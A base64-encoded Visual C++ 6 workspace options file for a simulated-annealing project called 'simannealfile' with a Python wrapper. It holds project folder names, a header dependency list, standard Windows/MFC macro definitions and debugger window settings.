ZWFzZQIAAAABgAAAAAAAAAAAG3NpbWFubmVhbGZpbGUgLSBXaW4zMiBEZWJ1ZwIAAAABgAAA
AAACAAAA6gUBAAAAAgAAAPsFAQAAAAAAAAAGCBRTU0JSAAEACwBDVGFyZ2V0SXRlbRtzaW1h
bm5lYWxmaWxlIC0gV2luMzIgRGVidWcAAAAABggUU1NCUhBRdWVsbGNvZGVkYXRlaWVuAQAK
AENQcm9qR3JvdXAGCBRTU0JSBQgUREpXDkhlYWRlci1EYXRlaWVuAQAKAENQcm9qR3JvdXAG
CBRTU0JSBQgUREpXEVJlc3NvdXJjZW5kYXRlaWVuAQAKAENQcm9qR3JvdXAGCBRTU0JSBQgU
REpXA2RlcAEAFABDRGVwZW5kZW5jeUNvbnRhaW5lcgYIFFNTQlIMbG9uZ29iamVjdC5oAQAP
AENEZXBlbmRlbmN5RmlsZQYIFFNTQlIMZnVuY29iamVjdC5oAQAPAENEZXBlbmRlbmN5Rmls
ZQYIFFNTQlILc3lzbW9kdWxlLmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgphYnN0cmFj
dC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIPdW5pY29kZW9iamVjdC5oAQAPAENEZXBl
bmRlbmN5RmlsZQYIFFNTQlIJY29iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlII
b2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgxjZWxsb2JqZWN0LmgBAA8AQ0Rl
cGVuZGVuY3lGaWxlBggUU1NCUghweXRob24uaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JS
DXJhbmdlb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUglweXN0YXRlLmgBAA8A
Q0RlcGVuZGVuY3lGaWxlBggUU1NCUghweXBvcnQuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRT
U0JSDXR1cGxlb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUg5tZXRob2RvYmpl
Y3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSB3B5ZnBlLmgBAA8AQ0RlcGVuZGVuY3lG
aWxlBggUU1NCUg1mbG9hdG9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlINY2xh
c3NvYmplY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSC2ludHJjaGVjay5oAQAPAENE
ZXBlbmRlbmN5RmlsZQYIFFNTQlIHY2V2YWwuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JS
C3RyYWNlYmFjay5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIMbW9kc3VwcG9ydC5oAQAP
AENEZXBlbmRlbmN5RmlsZQYIFFNTQlIJb2JqaW1wbC5oAQAPAENEZXBlbmRlbmN5RmlsZQYI
FFNTQlIMcGF0Y2hsZXZlbC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIOc3RyaW5nb2Jq
ZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgxsaXN0b2JqZWN0LmgBAA8AQ0RlcGVu
ZGVuY3lGaWxlBggUU1NCUg5tb2R1bGVvYmplY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRT
U0JSC2ludG9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIJYmFzZXRzZC5oAQAP
AENEZXBlbmRlbmN5RmlsZQYIFFNTQlILcHl0aG9ucnVuLmgBAA8AQ0RlcGVuZGVuY3lGaWxl
BggUU1NCUghpbXBvcnQuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSD2NvbXBsZXhvYmpl
Y3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSCXB5ZGVidWcuaAEADwBDRGVwZW5kZW5j
eUZpbGUGCBRTU0JSDXNsaWNlb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgxm
aWxlb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgpweWVycm9ycy5oAQAPAENE
ZXBlbmRlbmN5RmlsZQYIFFNTQlIIY29uZmlnLmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NC
UgdweW1lbS5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIOYnVmZmVyb2JqZWN0LmgBAA8A
Q0RlcGVuZGVuY3lGaWxlBggUU1NCUgxkaWN0b2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxl
BggUU1NCUgUIFERKVwUIFERKVwUIFERKV2RlZmluZSBORVRfQVBJX0ZVTkNUSU9OIF9fc3Rk
Y2FsbAojZGVmaW5lIE5UQVBJIF9fc3RkY2FsbAojZGVmaW5lIHBhc2NhbCBfX3N0ZGNhbGwK
I2RlZmluZSBQQVNDQUwgX19zdGRjYWxsCiNkZWZpbmUgUlBDX0VOVFJZIF9fc3RkY2FsbAoj
ZGVmaW5lIFJQQ19WQVJfRU5UUlkgX19jZGVjbAojZGVmaW5lIFNJWkVfVF9NQVggVUlOVF9N
QVgKI2RlZmluZSBTUUxfQVBJIF9fc3RkY2FsbAojZGVmaW5lIFNSVkFQSQojZGVmaW5lIFNU
REFQSSBIUkVTVUxUIFNUREFQSUNBTExUWVBFCiNkZWZpbmUgU1REQVBJXyh0eXBlKSB0eXBl
IFNUREFQSUNBTExUWVBFCiNkZWZpbmUgU1REQVBJQ0FMTFRZUEUgX19zdGRjYWxsCiNkZWZp
bmUgU1REQVBJViBIUkVTVUxUIFNUREFQSVZDQUxMVFlQRQojZGVmaW5lIFNUREFQSVZfKHR5
cGUpIHR5cGUgU1REQVBJVkNBTExUWVBFCiNkZWZpbmUgU1REQVBJVkNBTExUWVBFIF9fY2Rl
Y2wKI2RlZmluZSBTVERNRVRIT0QobWV0aG9kKSB2aXJ0dWFsIEhSRVNVTFQgU1RETUVUSE9E
Q0FMTFRZUEUgbWV0aG9kCiNkZWZpbmUgU1RETUVUSE9EXyh0eXBlLG1ldGhvZCkgdmlydHVh
bCB0eXBlIFNURE1FVEhPRENBTExUWVBFIG1ldGhvZAojZGVmaW5lIFNURE1FVEhPRENBTExU
WVBFIF9fc3RkY2FsbAojZGVmaW5lIFNURE1FVEhPRElNUCBIUkVTVUxUIFNURE1FVEhPRENB
TExUWVBFCiNkZWZpbmUgU1RETUVUSE9ESU1QXyh0eXBlKSB0eXBlIFNURE1FVEhPRENBTExU
WVBFCiNkZWZpbmUgU1RETUVUSE9ESU1QViBIUkVTVUxUIFNURE1FVEhPRFZDQUxMVFlQRQoj
ZGVmaW5lIFNURE1FVEhPRElNUFZfKHR5cGUpIHR5cGUgU1RETUVUSE9EVkNBTExUWVBFCiNk
ZWZpbmUgU1RETUVUSE9EVkNBTExUWVBFIF9fY2RlY2wKI2RlZmluZSBTVERNQVBJSU5JVENB
TExUWVBFIF9fY2RlY2wKI2RlZmluZSBVTkFMSUdORUQKI2RlZmluZSBWRldBUElWCiNkZWZp
bmUgV0RCR0FQSSBfX3N0ZGNhbGwKI2RlZmluZSBXSU5BUEkgX19zdGRjYWxsCiNkZWZpbmUg
V0lOQVBJViBfX2NkZWNsCiNkZWZpbmUgV0lOT0xFQVBJIEhSRVNVTFQgU1REQVBJQ0FMTFRZ
UEUKI2RlZmluZSBXSU5PTEVBUElfKHR5cGUpIHR5cGUgU1REQVBJQ0FMTFRZUEUKI2RlZmlu
ZSBhZnhfbXNnCiNkZWZpbmUgQVRMX05PX1ZUQUJMRSBfX2RlY2xzcGVjKG5vdnRhYmxlKQoj
ZGVmaW5lIEFUTEFQSSBIUkVTVUxUCiNkZWZpbmUgQVRMQVBJXyh4KSB4CiNkZWZpbmUgQUZY
X0NERUNMIF9fY2RlY2wKI2RlZmluZSBBRlhfQ0xBU1NfRVhQT1JUIF9fZGVjbHNwYJCzAAAA
AAABAQEBAQEIAEVfRVgoY2xhc3NfbmFtZSkKI2RlZmluZSBERUNMQVJFX09MRUNUTFRZUEUo
Y2xhc3NfbmFtZSkKI2RlZmluZSBERUNMQVJFX09MRVRZUEVMSUIoY2xhc3NfbmFtZSkKI2Rl
ZmluZSBERUNMQVJFX09OTFlfQUdHUkVHQVRBQkxFKHgpCiNkZWZpbmUgREVDTEFSRV9PUEFR
VUUzMih4KQojZGVmaW5lIERFQ0xBUkVfUEFSU0VfTUFQKCkKI2RlZmluZSBERUNMQVJFX1BP
TFlfQUdHUkVHQVRBQkxFKHgpCiNkZWZpbmUgREVDTEFSRV9QUk9QRVJUWV9TVVBQT1JUKGNs
YXNzKQojZGVmaW5lIERFQ0xBUkVfUFJPUFBBR0VJRFMoY2xhc3NfbmFtZSkKI2RlZmluZSBE
RUNMQVJFX1BST1RFQ1RfRklOQUxfQ09OU1RSVUNUKCkKI2RlZmluZSBERUNMQVJFX1JFR0lT
VFJZKGNsYXNzLCBwaWQsIHZwaWQsIG5pZCwgZmxhZ3MpCiNkZWZpbmUgREVDTEFSRV9SRUdJ
U1RSWV9SRVNPVVJDRSh4KQojZGVmaW5lIERFQ0xBUkVfUkVHSVNUUllfUkVTT1VSQ0VJRCh4
KQojZGVmaW5lIERFQ0xBUkVfU0VSSUFMKGNsYXNzX25hbWUpCiNkZWZpbmUgREVDTEFSRV9T
VEFUSUNfUkVHSVNUUllfUkVTT1VSQ0UoeCkKI2RlZmluZSBERUNMQVJFX1NUQVRJQ19SRUdJ
U1RSWV9SRVNPVVJDRUlEKHgpCiNkZWZpbmUgREVDTEFSRV9WSUVXX1NUQVRVUyhzdGF0dXNG
bGFncykKI2RlZmluZSBERUNMQVJFX1dORF9DTEFTUyhXbmRDbGFzc05hbWUpCiNkZWZpbmUg
REVDTEFSRV9XTkRfU1VQRVJDTEFTUyhXbmRDbGFzc05hbWUsIE9yaWdXbmRDbGFzc05hbWUp
CiNkZWZpbmUgREVGSU5FX0NPTU1BTkQoeCwgc3pDb21tYW5kKQojZGVmaW5lIERFTEVHQVRF
X0RVQUxfSU5URVJGQUNFKG9iamVjdENsYXNzLCBkdWFsQ2xhc3MpCiNkZWZpbmUgRU5EX0NP
Tk5FQ1RJT05fUEFSVChsb2NhbENsYXNzKSB9IG1feCMjbJQDAQIBAGFzGGm0AHgBAwBkIGNs
YXNzIFgjI2xvY2FsQ2xhc3M7CiNkZWZpbmUgRU5EX0RVQUxfSU5URVJGQUNFX1BBUlQobG9j
YWxDbGFzcykgfSBtX3gjI2xvY2FsQ2xhc3M7IGZyaWVuZCBjbGFzcyBYIyNsb2NhbENsYXNz
OwojZGVmaW5lIEVORF9JTlRFUkZBQ0VfUEFSVChsb2NhbENsYXNzKSB9IG1feCMjbG9jYWxD
bGFzczsgZnJpZW5kIGNsYXNzIFgjI2xvY2FsQ2xhc3M7CiNkZWZpbmUgRVhURVJOX1BST0NF
U1NfTE9DQUwoY2xhc3NfbmFtZSwgaWRlbnRfbmFtZSkgZXh0ZXJuIEFGWF9EQVRBIFBST0NF
U1NfTE9DQUwoY2xhc3NfbmFtZSwgaWRlbnRfbmFtZSkKI2RlZmluZSBFWFRfU05BUElOTUVO
VUlEKGlkKQojZGVmaW5lIElNUExFTUVOVF9EVUFMX0VSUk9SSU5GTyhvYmplY3RDbGFzcywg
cmlpZFNvdXJjZSkKI2RlZmluZSBJTVBMRU1FTlRfRFlOQU1JQyhjbGFzc19uYW1lLCBiYXNl
X2NsYXNzX25hbWUpCiNkZWZpbmUgSU1QTEVNRU5UX0RZTkNSRUFURShjbGFzc19uYW1lLCBi
YXNlX2NsYXNzX25hbWUpCiNkZWZpbmUgSU1QTEVNRU5UX09MRUNSRUFURShjbGFzc19uYW1l
LCBleHRlcm5hbF9uYW1lLCBsLCB3MSwgdzIsIGIxLCBiMiwgYjMsIGI0LCBiNSwgYjYsIGI3
LCBiOCkKI2RlZmluZSBJTVBMRU1FTlRfT0xFQ1JFQVRFX0VYKGNsYXNzX25hbWUsIGV4dGVy
bmFsX25hbWUsIGwsIHcxLCB3MiwgYjEsIGIyLCBiMywgYjQsIGI1LCBiNiwgYjcsIGI4KQoj
ZGVmaW5lIElNUExFTUVOVF9PTEVDVExUWVBFKGNsYXNzX25hbWUsIGlkc1VzZXJUeXBlTmFt
ZSwgZHdPbGVNaXNjKQojZGVmaW5lIElNUExFTUVOVF9PTEVUWVBFTElCKGNsYXNzX25hbWUs
IHRsaWQsIHdWZXJNYWpvciwgd1Zlck1pbm9yKQojZGVmaW5lIElNUExFTUVOVF9TRVJJQUwo
Y2xhc3NfbmFtZSwgYmFzZV9jbGFzc19uYW1lLCB3U2NoZW1hKQojZGVmaW5lIElOSVRfSU5U
RVJGQUNFX1BBUlQodGhlQ2xhc3MsIGxvY2FsQ2xhc3MpCiNkZWZpbmUgUFJPQ0VTU19MT0NB
TChjbGFzc19uYW1lLCBpZGVudF9uYW1lKSBBRlhfREFEAGUAYgB1AGcAZwBlAHIAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgACAf////8JAAAA
/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEwAAAAAFAAAAAAAAEQA
bwBjAHUAbQBlAG4AdABzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAUAAIA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAVgAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////8AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//
/////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAoAAwAAAAAAAAD/////AAAAAAQAAAAM3GJlcndhY2h1bmcxAAAM3GJlcndhY2h1bmcy
AAAM3GJlcndhY2h1bmczAAAM3GJlcndhY2h1bmc0AAAAAAAAAAABAAAAdWcdc2ltYW5uZWFs
ZmlsZSAtIFdpbjMyIFJlbGVhc2UCAAAAAYAAAAAAAAAAABtzaW1hbm5lYWxmaWxlIC0gV2lu
MzIgRGVidWcCAAAAAYAAAAAAAgAAAOoFAQAAAAIAAAD7BQEAAAAAAAAABggUU1NCUgABAAsA
Q1RhcmdldEl0ZW0bc2ltYW5uZWFsZmlsZSAtIFdpbjMyIERlYnVnAAAAAAYIFFNTQlIQUXVl
bGxjb2RlZGF0ZWllbgEACgBDUHJvakdyb3VwBggUU1NCUgUIFERKVw5IZWFkZXItRGF0ZWll
bgEACgBDUHJvakdyb3VwBggUU1NCUgUIFERKVxFSZXNzb3VyY2VuZGF0ZWllbgEACgBDUHJv
akdyb3VwBggUU1NCUgUIFERKVwNkZXABABQAQ0RlcGVuZGVuY3lDb250YWluZXIGCBRTU0JS
DGxvbmdvYmplY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSDGZ1bmNvYmplY3QuaAEA
DwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSC3N5c21vZHVsZS5oAQAPAENEZXBlbmRlbmN5Rmls
ZQYIFFNTQlIKYWJzdHJhY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSD3VuaWNvZGVv
YmplY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSCWNvYmplY3QuaAEADwBDRGVwZW5k
ZW5jeUZpbGUGCBRTU0JSCG9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIMY2Vs
bG9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIIcHl0aG9uLmgBAA8AQ0RlcGVu
ZGVuY3lGaWxlBggUU1NCUg1yYW5nZW9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNT
QlIJcHlzdGF0ZS5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIIcHlwb3J0LmgBAA8AQ0Rl
cGVuZGVuY3lGaWxlBggUU1NCUg10dXBsZW9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYI
FFNTQlIObWV0aG9kb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgdweWZwZS5o
AQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlINZmxvYXRvYmplY3QuaAEADwBDRGVwZW5kZW5j
eUZpbGUGCBRTU0JSDWNsYXNzb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgtp
bnRyY2hlY2suaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSB2NldmFsLmgBAA8AQ0RlcGVu
ZGVuY3lGaWxlBggUU1NCUgt0cmFjZWJhY2suaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JS
DG1vZHN1cHBvcnQuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSCW9iamltcGwuaAEADwBD
RGVwZW5kZW5jeUZpbGUGCBRTU0JSDHBhdGNobGV2ZWwuaAEADwBDRGVwZW5kZW5jeUZpbGUG
CBRTU0JSDnN0cmluZ29iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIMbGlzdG9i
amVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIObW9kdWxlb2JqZWN0LmgBAA8AQ0Rl
cGVuZGVuY3lGaWxlBggUU1NCUgtpbnRvYmplY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRT
U0JSCWJhc2V0c2QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSC3B5dGhvbnJ1bi5oAQAP
AENEZXBlbmRlbmN5RmlsZQYIFFNTQlIIaW1wb3J0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggU
U1NCUg9jb21wbGV4b2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUglweWRlYnVn
LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUg1zbGljZW9iamVjdC5oAQAPAENEZXBlbmRl
bmN5RmlsZQYIFFNTQlIMZmlsZW9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIK
cHllcnJvcnMuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSCGNvbmZpZy5oAQAPAENEZXBl
bmRlbmN5RmlsZQYIFFNTQlIHcHltZW0uaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSDmJ1
ZmZlcm9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIMZGljdG9iamVjdC5oAQAP
AENEZXBlbmRlbmN5RmlsZQYIFFNTQlIFCBRESlcFCBRESlcFCBRESldkZWZpbmUgTkVUX0FQ
SV9GVU5DVElPTiBfX3N0ZGNhbGwKI2RlZmluZSBOVEFQSSBfX3N0ZGNhbGwKI2RlZmluZSBw
YXNjYWwgX19zdGRjYWxsCiNkZWZpbmUgUEFTQ0FMIF9fc3RkY2FsbAojZGVmaW5lIFJQQ19F
TlRSWSBfX3N0ZGNhbGwKI2RlZmluZSBSUENfVkFSX0VOVFJZIF9fY2RlY2wKI2RlZmluZSBT
SVpFX1RfTUFYIFVJTlRfTUFYCiNkZWZpbmUgU1FMX0FQSSBfX3N0ZGNhbGwKI2RlZmluZSBT
UlZBUEkKI2RlZmluZSBTVERBUEkgSFJFU1VMVCBTVERBUElDQUxMVFlQRQojZGVmaW5lIFNU
REFQSV8odHlwZSkgdHlwZSBTVERBUElDQUxMVFlQRQojZGVmaW5lIFNUREFQSUNBTExUWVBF
IF9fc3RkY2FsbAojZGVmaW5lIFNUREFQSVYgSFJFU1VMVCBTVERBUElWQ0FMTFRZUEUKI2Rl
ZmluZSBTVERBUElWXyh0eXBlKSB0eXBlIFNUREFQSVZDQUxMVFlQRQojZGVmaW5lIFNUREFQ
SVZDQUxMVFlQRSBfX2NkZWNsCiNkZWZpbmUgU1RETUVUSE9EKG1ldGhvZCkgdmlydHVhbCBI
UkVTVUxUIFNURE1FVEhPRENBTExUWVBFIG1ldGhvZAojZGVmaW5lIFNURE1FVEhPRF8odHlw
ZSxtZXRob2QpIHZpcnR1YWwgdHlwZSBTVERNRVRIT0RDQUxMVFlQRSBtZXRob2QKI2RlZmlu
ZSBTVERNRVRIT0RDQUxMVFlQRSBfX3N0ZGNhbGwKI2RlZmluZSBTVERNRVRIT0RJTVAgSFJF
U1VMVCBTVERNRVRIT0RDQUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRElNUF8odHlwZSkgdHlw
ZSBTVERNRVRIT0RDQUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRElNUFYgSFJFU1VMVCBTVERN
RVRIT0RWQ0FMTFRZUEUKI2RlZmluZSBTVERNRVRIT0RJTVBWXyh0eXBlKSB0eXBlIFNURE1F
VEhPRFZDQUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRFZDQUxMVFlQRSBfX2NkZWNsCiNkZWZp
bmUgU1RETUFQSUlOSVRDQUxMVFlQRSBfX2NkZWNsCiNkZWZpbmUgVU5BTElHTkVECiNkZWZp
bmUgVkZXQVBJVgojZGVmaW5lIFdEQkdBUEkgX19zdGRjYWxsCiNkZWZpbmUgV0lOQVBJIF9f
c3RkY2FsbAojZGVmaW5lIFdJTkFQSVYgX19jZGVjbAojZGVmaW5lIFdJTk9MRUFQSSBIUkVT
VUxUIFNUREFQSUNBTExUWVBFCiNkZWZpbmUgV0lOT0xFQVBJXyh0eXBlKSB0eXBlIFNUREFQ
SUNBTExUWVBFCiNkZWZpbmUgYWZ4X21zZwojZGVmaW5lIEFUTF9OT19WVEFCTEUgX19kZWNs
c3BlYyhub3Z0YWJsZSkKI2RlZmluZSBBVExBUEkgSFJFU1VMVAojZGVmaW5lIEFUTEFQSV8o
eCkgeAojZGVmaW5lIEFGWF9DREVDTCBfX2NkZWNsCiNkZWZpbmUgQUZYX0NMQVNTX0VYUE9S
VCBfX2RlY2xzcGCQswAAAAAAAQEBAQEBCABFX0VYKGNsYXNzX25hbWUpCiNkZWZpbmUgREVD
TEFSRV9PTEVDVExUWVBFKGNsYXNzX25hbWUpCiNkZWZpbmUgREVDTEFSRV9PTEVUWVBFTElC
KGNsYXNzX25hbWUpCiNkZWZpbmUgREVDTEFSRV9PTkxZX0FHR1JFR0FUQUJMRSh4KQojZGVm
aW5lIERFQ0xBUkVfT1BBUVVFMzIoeCkKI2RlZmluZSBERUNMQVJFX1BBUlNFX01BUCgpCiNk
ZWZpbmUgREVDTEFSRV9QT0xZX0FHR1JFR0FUQUJMRSh4KQojZGVmaW5lIERFQ0xBUkVfUFJP
UEVSVFlfU1VQUE9SVChjbGFzcykKI2RlZmluZSBERUNMQVJFX1BST1BQQUdFSURTKGNsYXNz
X25hbWUpCiNkZWZpbmUgREVDTEFSRV9QUk9URUNUX0ZJTkFMX0NPTlNUUlVDVCgpCiNkZWZp
bmUgREVDTEFSRV9SRUdJU1RSWShjbGFzcywgcGlkLCB2cGlkLCBuaWQsIGZsYWdzKQojZGVm
aW5lIERFQ0xBUkVfUkVHSVNUUllfUkVTT1VSQ0UoeCkKI2RlZmluZSBERUNMQVJFX1JFR0lT
VFJZX1JFU09VUkNFSUQoeCkKI2RlZmluZSBERUNMQVJFX1NFUklBTChjbGFzc19uYW1lKQoj
ZGVmaW5lIERFQ0xBUkVfU1RBVElDX1JFR0lTVFJZX1JFU09VUkNFKHgpCiNkZWZpbmUgREVD
TEFSRV9TVEFUSUNfUkVHSVNUUllfUkVTT1VSQ0VJRCh4KQojZGVmaW5lIERFQ0xBUkVfVklF
V19TVEFUVVMoc3RhdHVzRmxhZ3MpCiNkZWZpbmUgREVDTEFSRV9XTkRfQ0xBU1MoV25kQ2xh
c3NOYW1lKQojZGVmaW5lIERFQ0xBUkVfV05EX1NVUEVSQ0xBU1MoV25kQ2xhc3NOYW1lLCBP
cmlnV25kQ2xhc3NOYW1lKQojZGVmaW5lIERFRklORV9DT01NQU5EKHgsIHN6Q29tbWFuZCkK
I2RlZmluZSBERUxFR0FURV9EVUFMX0lOVEVSRkFDRShvYmplY3RDbGFzcywgZHVhbENsYXNz
KQojZGVmaW5lIEVORF9DT05ORUNUSU9OX1BBUlQobG9jYWxDbGFzcykgfSBtX3gjI2yUAwEC
AQBhcxhptAB4AQMAZCBjbGFzcyBYIyNsb2NhbENsYXNzOwojZGVmaW5lIEVORF9EVUFMX0lO
VEVSRkFDRV9QQVJUKGxvY2FsQ2xhc3MpIH0gbV94IyNsb2NhbENsYXNzOyBmcmllbmQgY2xh
c3MgWCMjbG9jYWxDbGFzczsKI2RlZmluZSBFTkRfSU5URVJGQUNFX1BBUlQobG9jYWxDbGFz
cykgfSBtX3gjI2xvY2FsQ2xhc3M7IGZyaWVuZCBjbGFzcyBYIyNsb2NhbENsYXNzOwojZGVm
aW5lIEVYVEVSTl9QUk9DRVNTX0xPQ0FMKGNsYXNzX25hbWUsIGlkZW50X25hbWUpIGV4dGVy
biBBRlhfREFUQSBQUk9DRVNTX0xPQ0FMKGNsYXNzX25hbWUsIGlkZW50X25hbWUpCiNkZWZp
bmUgRVhUX1NOQVBJTk1FTlVJRChpZCkKI2RlZmluZSBJTVBMRU1FTlRfRFVBTF9FUlJPUklO
Rk8ob2JqZWN0Q2xhc3MsIHJpaWRTb3VyY2UpCiNkZWZpbmUgSU1QTEVNRU5UX0RZTkFNSUMo
Y2xhc3NfbmFtZSwgYmFzZV9jbGFzc19uYW1lKQojZGVmaW5lIElNUExFTUVOVF9EWU5DUkVB
VEUoY2xhc3NfbmFtZSwgYmFzZV9jbGFzc19uYW1lKQojZGVmaW5lIElNUExFTUVOVF9PTEVD
UkVBVEUoY2xhc3NfbmFtZSwgZXh0ZXJuYWxfbmFtZSwgbCwgdzEsIHcyLCBiMSwgYjIsIGIz
LCBiNCwgYjUsIGI2LCBiNywgYjgpCiNkZWZpbmUgSU1QTEVNRU5UX09MRUNSRUFURV9FWChj
bGFzc19uYW1lLCBleHRlcm5hbF9uYW1lLCBsLCB3MSwgdzIsIGIxLCBiMiwgYjMsIGI0LCBi
NSwgYjYsIGI3LCBiOCkKI2RlZmluZSBJTVBMRU1FTlRfT0xFQ1RMVFlQRShjbGFzc19uYW1l
LCBpZHNVc2VyVHlwZU5hbWUsIGR3T2xlTWlzYykKI2RlZmluZSBJTVBMRU1FTlRfT0xFVFlQ
RUxJQihjbGFzc19uYW1lLCB0bGlkLCB3VmVyTWFqb3IsIHdWZXJNaW5vcikKI2RlZmluZSBJ
TVBMRU1FTlRfU0VSSUFMKGNsYXNzX25hbWUsIGJhc2VfY2xhc3NfbmFtZSwgd1NjaGVtYSkK
I2RlZmluZSBJTklUX0lOVEVSRkFDRV9QQVJUKHRoZUNsYXNzLCBsb2NhbENsYXNzKQojZGVm
aW5lIFBST0NFU1NfTE9DQUwoY2xhc3NfbmFtZSwgaWRlbnRfbmFtZSkgQUZYX0RBBgABAAQA
gARgAwMAmAAAAAAAAAAAAAAAAABDL0MrKwAAAAAAAAAAADAgvncZAEsAAQEMAHRtAVABAAAA
iPSyAFgc4HNQhQAAEEywAAg0ewEAAAAAAAAAAAAAAADQ+KcAFAAAAP////8UAAAAJgAAAAAA
AAAaAAAADgAAAOc3ewEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADpD
OlxBcmJlaXRfRGlwbG9tYXJiZWl0XF9fT3B0aW1pZXJlclxURU1cc2ltYW5uZWFsX3dyYXAu
Y3BwJnsyQUUyN0EzQy0xN0Y1LTExRDAtQUYxQi0wMEEwQzkwRjlERTZ9AAAsAAAAAAAAAAEA
AAD///////////z////i////AAAAAAAAAAATAwAA/gEAAAIAmAAAAAAAAAAAAAAAAABDL0Mr
KwAAAAAAAAAAADAgvncZAEsAAQEMAHRtAVABAAAAiPSyAFgc4HNQhQAAEEywAAg0ewEAAAAA
AAAAAAAAAADQ+KcAFAAAAP////8UAAAAJgAAAAAAAAAaAAAADgAAAOc3ewEAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMuXHNpbWFubmVhbGZpbGUuY3BwJnsyQUUy
N0EzQy0xN0Y1LTExRDAtQUYxQi0wMEEwQzkwRjlERTZ9AAAsAAAAAAAAAAEAAAD/////////
//z////i////LAAAADoAAABDAwAAAgIAAAEAmAAAAAAAAAAAAAAAAABDL0MrKwAAAAAAAAAA
ADAgvncZAEsAAQEMAHRtAVABAAAAiPSyAFgc4HNQhQAAEEywAAg0ewEAAAAAAAAAAAAAAADQ
+KcAFAAAAP////8UAAAAJgAAAAAAAAAaAAAADgAAAOc3ewEAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAABguXHNpbWFubmVhbGZpbGVfd3JhcC5jcHAmezJBRTI3QTND
LTE3RjUtMTFEMC1BRjFCLTAwQTBDOTBGOURFNn0AACwAAAAAAAAAAQAAAP///////////P//
/+L///8WAAAAHQAAAC0DAAACAgAAAACYAAAAAAAAAAAAAAAAAE5vbmUAAAAAAAAAAAAAMCC+
